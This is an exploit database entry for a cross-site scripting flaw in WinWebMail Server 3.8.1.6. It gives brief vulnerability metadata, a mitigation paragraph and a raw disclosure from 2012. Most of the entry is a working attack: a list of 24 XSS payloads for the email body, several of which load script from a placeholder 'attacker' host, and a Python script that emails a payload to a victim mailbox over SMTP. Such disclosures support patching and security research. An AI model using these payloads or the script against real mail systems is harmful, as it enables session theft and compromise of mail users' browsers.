WinWebMail Server 3.8.1.6 XSS Vulnerability

vendor:

WinWebMail Server

by:

loneferret

8,8

CVSS

HIGH

Cross-Site Scripting (XSS)

CWE

Product Name: WinWebMail Server

Affected Version From: 3.8.1.6

Affected Version To: 3.8.1.6

Patch Exists: NO

Related CWE: N/A

CPE: a:winwebmail:winwebmail_server

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows Server 2003 SP2, Windows 7 Pro SP1 (x86)

2012

WinWebMail Server 3.8.1.6 XSS Vulnerability

WinWebMail Server 3.8.1.6 is vulnerable to multiple Cross-Site Scripting (XSS) attacks. The vulnerability exists due to insufficient sanitization of user-supplied input in the body of the email. An attacker can exploit this vulnerability by sending a specially crafted email containing malicious JavaScript code to the vulnerable server. The malicious code will be executed in the context of the user's browser when the email is viewed.

Mitigation:

Input validation should be used to ensure that user-supplied input is properly sanitized before being used in the application. Additionally, the application should be configured to reject emails containing malicious content.

Source

Exploit-DB raw data:

#!/usr/bin/python

'''

Author: loneferret of Offensive Security
Product: WinWebMail Server
Version: 3.8.1.6
Vendor Site: http://www.winwebmail.net
Software Download: http://www.winwebmail.net/email-server-download.html

Timeline:
29 May 2012: Vulnerability reported to CERT
30 May 2012: Response received from CERT with disclosure date set to 20 Jul 2012
23 Jul 2012: Update from CERT: No response from vendor
08 Aug 2012: Public Disclosure

Installed On: Windows Server 2003 SP2
Client Test OS: Window 7 Pro SP1 (x86)
Browser Used: Internet Explorer 9

Injection Point: Body
Injection Payload(s):
1: ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>=&{}
2: <SCRIPT>alert('XSS')</SCRIPT>
3: <SCRIPT SRC=http://attacker/xss.js></SCRIPT>
4: <SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
5: <DIV STYLE="width: expression(alert('XSS'));">
6: <IFRAME SRC="javascript:alert('XSS');"></IFRAME>
7: exp/*<XSS STYLE='no\xss:noxss("*//*");
xss:&#101;x&#x2F;*XSS*//*/*/pression(alert("XSS"))'>
8: <IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
9: <XSS STYLE="xss:expression(alert('XSS'))">
10: <!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]--
11: <SCRIPT SRC="http://attacker/xss.jpg"></SCRIPT>
12: <HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-
13: </TITLE><SCRIPT>alert("XSS");</SCRIPT>
14: <SCRIPT/XSS SRC="http://attacker/xss.js"></SCRIPT>
15: <<SCRIPT>alert("XSS");//<</SCRIPT>
16: <IMG """><SCRIPT>alert("XSS")</SCRIPT>">
17: <SCRIPT>a=/XSS/
alert(a.source)</SCRIPT>
18: <SCRIPT a=">" SRC="http://attacker/xss.js"></SCRIPT>
19: <SCRIPT ="blah" SRC="http://attacker/xss.js"></SCRIPT>
20: <SCRIPT a="blah" '' SRC="http://attacker/xss.js"></SCRIPT>
21: <SCRIPT "a='>'" SRC="http://attacker/xss.js"></SCRIPT>
22: <SCRIPT a=`>` SRC="http://attacker/xss.js"></SCRIPT>
23: <SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://attacker/xss.js"></SCRIPT>
24: <SCRIPT a=">'>" SRC="http://attacker/xss.js"></SCRIPT>

'''

import smtplib, urllib2
 
payload = """<SCRIPT a=`>` SRC="http://attacker/xss.js"></SCRIPT>"""
 
def sendMail(dstemail, frmemail, smtpsrv, username, password):
        msg  = "From: hacker@offsec.local\n"
        msg += "To: victim@victim.local\n"
        msg += 'Date: Today\r\n'
        msg += "Subject: Offensive Security\n"
        msg += "Content-type: text/html\n\n"
        msg += "XSS" + payload + "\r\n\r\n"
        server = smtplib.SMTP(smtpsrv)
        server.login(username,password)
        try:
                server.sendmail(frmemail, dstemail, msg)
        except Exception, e:
                print "[-] Failed to send email:"
                print "[*] " + str(e)
        server.quit()
 
username = "hacker@offsec.local"
password = "123456"
dstemail = "victim@victim.local"
frmemail = "hacker@offsec.local"
smtpsrv  = "172.16.84.171"
 
print "[*] Sending Email"
sendMail(dstemail, frmemail, smtpsrv, username, password)